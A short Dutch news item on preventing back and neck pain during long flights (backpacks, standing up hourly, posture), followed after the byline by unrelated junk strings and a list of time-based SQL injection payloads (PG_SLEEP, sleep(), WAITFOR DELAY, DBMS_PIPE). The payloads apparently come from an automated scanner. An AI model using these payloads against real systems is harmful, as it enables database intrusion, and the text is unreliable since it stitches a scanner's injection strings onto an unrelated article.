Ondanks de chaos op de luchthavens kiezen duizenden Nederlanders dit jaar weer het vliegtuig. Vooral lange vliegreizen kunnen gepaard gaan met klachten aan de rug of de nek. Toch zijn er een aantal tips die fysieke klachten kunnen verminderen. Dit meldt de Telegraaf.
Rugtas
Een inkoppertje is het vermijden van rugtassen. Erg zware rugtassen brengen grote druk mee voor je ruggengraat. Het is daarom beter om een rolkoffertje aan te schaffen. Mocht je geen rolkoffer kunnen vinden? Zorg er dan voor dat je een stevige rugzak meeneemt die de druk evenredig verdeelt.
Stilzitten
Als je uren in een vliegtuig stilzit is het goed om zo nu en dan op te staan. Het advies luidt om één keer per uur even op te staan. Desnoods kun je een alarm zetten. Door beweging blijft het bloed rondstromen en voorkom je stijfheid of blessures.
Houding
De houding is ten slotte een belangrijk factor voor beperkte fysieke klachten. Probeer zo veel mogelijk rechtop te zitten en vermijd lange staarsessies met je laptop of telefoon.
Door: Nationale Recreatiegids
FjJdTGvORtauNqIB
UvIxWomAFJr


1'"
@@ESHDD
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
0l8Aidif')) OR 989=(SELECT 989 FROM PG_SLEEP(15))--
QwS3rxuK') OR 858=(SELECT 858 FROM PG_SLEEP(15))--
ymOigxRb' OR 255=(SELECT 255 FROM PG_SLEEP(15))--
-1)) OR 896=(SELECT 896 FROM PG_SLEEP(15))--
-5) OR 427=(SELECT 427 FROM PG_SLEEP(15))--
-5 OR 435=(SELECT 435 FROM PG_SLEEP(15))--
aG74Xf4G'
1 waitfor delay '0:0:15' --
-1)
-1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
1*
-1 OR 2+113-113-1=0+0+0+1
-1 OR 3+113-113-1=0+0+0+1
1*
1*
xxeZL49R
1*
sHTcWaARptr
tCXFxNLZEqIYp
AbkMEvxYDqtQuHj
mxoXSdFUYgzZeb